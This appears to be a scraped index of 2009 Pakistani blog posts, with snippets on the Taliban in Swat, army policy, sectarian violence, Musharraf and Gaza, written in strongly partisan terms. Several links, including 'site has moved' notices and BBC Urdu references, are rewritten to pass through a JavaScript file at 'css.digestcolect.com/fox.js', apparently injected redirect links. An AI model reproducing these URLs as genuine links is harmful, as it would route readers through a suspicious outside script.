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Swat and the Mullah Military Alliance: Two pictures and a column – Abbas Ather: Army will restore writ in Swat: COAS * Commanders brief COAS on security situation in valley* Kayani meets Pashtun leader Afzal Lala, lauds his stance against the Taliban Staff Report RAWALPINDI: Pakistan Army has the ‘will and resolve’ to
Swat, o Swat! Could it be that the former "assets" of the state are now turning their guns on their former benefactors?: Thursday, January 29, 2009 Kheyam Khan The people of Swat are confused. They wonder how the might of the Pakistan Army cannot subdue the Taliban of Swat. The Swat insurgency and the “counter-insurgency” must be given priority attention by
Swat, o Swat! Could it be that the former “assets” of the state are now turning their guns on their former benefactors?: Thursday, January 29, 2009Kheyam Khan The people of Swat are confused. They wonder how the might of the Pakistan Army cannot subdue the Taliban of Swat. The Swat insurgency and the “counter-insurgency” must be given priority attention by the
Some observations on the war in Swat: Thursday, January 29, 2009 Aasim Sajjad Akhtar Over the past few weeks a vigorous debate has raged on these pages about the nature of the war taking place in Swat. It is important to congratulate the editors of these
A review of Khaled Ahmed’s “Sectarian War: Pakistan’s Sunni-Shia Violence and its links to the Middle East” – by Khalid Hasan: Sectarian conflict looms over Pakistan, says study By Khalid Hasan Source: Daily Times, May 14, 2007 WASHINGTON: Sectarian violence marked by the Shia-Sunni conflict threatens to engulf Pakistan as the current century gets underway, predicts a new study released
To Swat – with love [Why doesn’t Pakistan Army save the people of Swat from the Taliban?]: Tuesday, January 20, 2009 Basil Nabi Malik ‘The ultimate measure of a man is not where he stands in moments of comfort and convenience, but where he stands at times of challenge and controversy’– Martin Luther King, Jr. I
A Pakistani schoolgirl’s resistance to Taliban terrorists: LUBP’s compilation of Malala Yousafzai’s diary: Not 14 October 2012: Back in January 2009, when Deobandi right0wing Islamo-fascists and commercial or fake liberals were unanimous in abusing or/and ignoring Malala Yousafzai, LUBP published this post to give wider publicity to a Pashtun Sunni Sufi schoolgril’s resistance to takfiri
British academics condemn Israel….: Growing outrage at the killings in Gaza The Guardian, Friday 16 January 2009 The massacres in Gaza are the latest phase of a war that Israel has been waging against the people of Palestine for more than 60 years.
Well done Zulfiqar Ahmed Cheema, DIG/RPO Gujranwala Police: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/767, click this link if you are not redirected
Swat — towards a Wahhabi state?: Monday, January 19, 2009 by Khurshid Khan In his article, “Behind the crises in Swat” (Nov 27, 2008), Sartaj Khan described the conflict in Swat as a class struggle. Farhat Taj (Dec 18) responded with “No class war in
Swat — towards a Wahhabi state?: Monday, January 19, 2009 by Khurshid Khan In his article, “Behind the crises in Swat” (Nov 27, 2008), Sartaj Khan described the conflict in Swat as a class struggle. Farhat Taj (Dec 18) responded with “No class war in
Shaheen Sardar Ali: Swat – For Whom Will the Gulai-Nargis Bloom this Spring in the Swat Valley: Rabia at Grand Trunk Road comments: A very sad article by Shaheen Sardari Ali, a Swati, and the first woman cabinet member of NWFP, which raises a lot of unanswered questions about the nature of the militancy in Swat
Shaheen Sardar Ali: Swat – For Whom Will the Gulai-Nargis Bloom this Spring in the Swat Valley: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Swat:Taliban’s deadly ‘justice’ cows Pakistan: Note: Pakistan Army and the ISI are criminally silent on the Taliban atrocities in Swat. Their real objective is to pressurize the secular minded ANP Government
Swat:Taliban’s deadly ‘justice’ cows Pakistan: Note: Pakistan Army and the ISI are criminally silent on the Taliban atrocities in Swat. Their real objective is to pressurize the secular minded ANP Government in the NWFP to negotiate with the Taliban on Taliban’s terms. This is
The true heroes and true martyrs of Pakistan: Do you want to know who are the true jihadis (mujahideen) and true martyrs (shaheed) in Pakistan? They are our brave policemen and soldiers from Pakistan Army who are sacrificing their lives to save the Pakistani nation from the
Sectarian/Jihadi/Taliban terrorists released in Pakistan due to lack of evidence: ‘Terrorists released in Pak due to lack of evidence’ New Delhi (PTI): The failure of the Pakistani police and security agencies to gather sufficient evidence has led to the release of a large number of dreaded terrorists of outfits
Taliban/Sipah-e-Sahaba video claims Pakistan attacks: Taliban video claims Pakistan attacks Sun, Jan 18, 2009 AFP PESHAWAR, Pakistan (AFP) – Taliban militants on Sunday released a rare video of statements from purported suicide bombers and footage of deadly attacks they claimed to have perpetrated in
Taliban/Sipah-e-Sahaba video claims Pakistan attacks: Taliban video claims Pakistan attacksSun, Jan 18, 2009AFP PESHAWAR, Pakistan (AFP) – Taliban militants on Sunday released a rare video of statements from purported suicide bombers and footage of deadly attacks they claimed to have perpetrated in Pakistan. The
The fall of Swat: After a year of military operations in Swat, the territory controlled by the terrorists has reportedly increased from 25 percent to 75 percent. On Friday, the army killed 12 Taliban in different parts, but could not prevent the demolition
Score 2008: Taliban killed 6715 Pakistanis, Israel killed 1200 Palestinians….: This is General Zia-ul-Haq’s legacy in Pakistan Many bomb blasts, many dead Sunday, January 18, 2009 Dr Farrukh Saleem Muslims are killing Muslims in the name of Islam. In 2008, there were 599 bomb blasts and 6,715 Pakistanis lost
Ehud Olmert’s apology on the Gaza ‘accidents’ versus Yazid’s "apology" on the tragedy of Karbala…: After killing more than 1200 Palestinians with another more than 5000 wounded and about 20,000 houses and other infrastructure destroyed, Israeli Prime Minister Ehud Olmert on 17 January 2009 announced a unilateral ceasefire; he also audaciously apologized for the
Ehud Olmert’s apology on the Gaza ‘accidents’ versus Yazid’s “apology” on the tragedy of Karbala…: After killing more than 1200 Palestinians with another more than 5000 wounded and about 20,000 houses and other infrastructure destroyed, Israeli Prime Minister Ehud Olmert on 17 January 2009 announced a unilateral ceasefire; he also audaciously apologized for the
Why I miss Musharraf versus Why I don’t miss Musharraf – by Salman Chima and Samad Khurram: Why I miss Musharraf Part I Tuesday, January 06, 2009 (The News) Salman K Chima When General Musharraf seized power, I was not among those who welcomed him – although with Justice Tarrar as the President and Shariat Amendment
A confident Musharraf speaks in the USA….: A Confident Musharraf On Bin Laden It’s been a long time since a voice from Pakistan spoke with this authority. Here in this video clp, former President Musharraf, in Michigan for a speech, gives a solid response to those
Mark LeVine: Who will save Israel from itself?: By Mark LeVine One by one the justifications given by Israel for its latest war in Gaza are unravelling. The argument that this is a purely defensive war, launched only after Hamas broke a six-month ceasefire has been challenged,
Robert Fisk: Tin-pot rockets won’t open a second front: Thursday, 15 January 2009 The “Popular Front for the Liberation of Palestine–General Command” – the quotation marks are necessary since this outfit controls at most 500 cadres – is responsible for all the tin-pot rockets fired into Israel from
Taliban in Swat preparing a hit list of 120 persons: BBC Urdu reports:http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090115_swat_taliban_wanted_list_rh.shtml Let’s see how many of the wajib-ul-qatl belong to the respective parties of Imran Khan, Qazi Hussain Ahmed and Nawaz Sharif. Shame on Taliban and their supporters. …. Also read, Taliban’s parallel government in Swat:http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090106_swat_analysis_rh.shtml
“Musharraf personally believed that there were many good Taliban who should be co-opted in the post-Taliban power dispensation in Afghanistan”…: Pakistan torn over how to handle Taliban * Analyst says Islamabad’s Taliban policy has suffered from indecisiveness, inconsistency and ambiguity ISLAMABAD: After years of allowing Taliban to operate in the Tribal Areas, Pakistan is now torn over how to
Desperate moves on to secure Swat — the lost valley: By Ismail Khan SWAT, known for its green meadows, gushing river and snow-capped mountains, has unfortunately come to relive its historic name, Suvastu — the white serpent — whose tenacity and viciousness has stung the political and military leadership
The 17th amendment: a perspective – By Asadullah Ghalib: What’s wrong with the 17th amendment?
Pakistan army is failing to protect the Pakhtuns against the atrocities of the Taliban militants – Farhat Taj: The Pakhtun, the Taliban and ignorant outsidersThursday, January 15, 2009 Farhat Taj The Pakhtun are caught up in one of the most difficult times of their history. The Taliban are aggressively attacking their lives, livelihoods, culture and history. Pakistan
Rahimullah Yusufzai: Afzal Khan Lala of ANP vows to stay in Swat despite fresh attack: Afzal Khan Lala vows to stay in Swat despite fresh attack Seeks arms for village militias to fight militants Monday, January 12, 2009 by Rahimullah Yusufzai PESHAWAR: Despite one more attack by militants on his house on Saturday, elderly
Rahimullah Yusufzai: Afzal Khan Lala of ANP vows to stay in Swat despite fresh attack: Afzal Khan Lala vows to stay in Swat despite fresh attack Seeks arms for village militias to fight militants Monday, January 12, 2009 by Rahimullah Yusufzai PESHAWAR: Despite one more attack by militants on his house on Saturday, elderly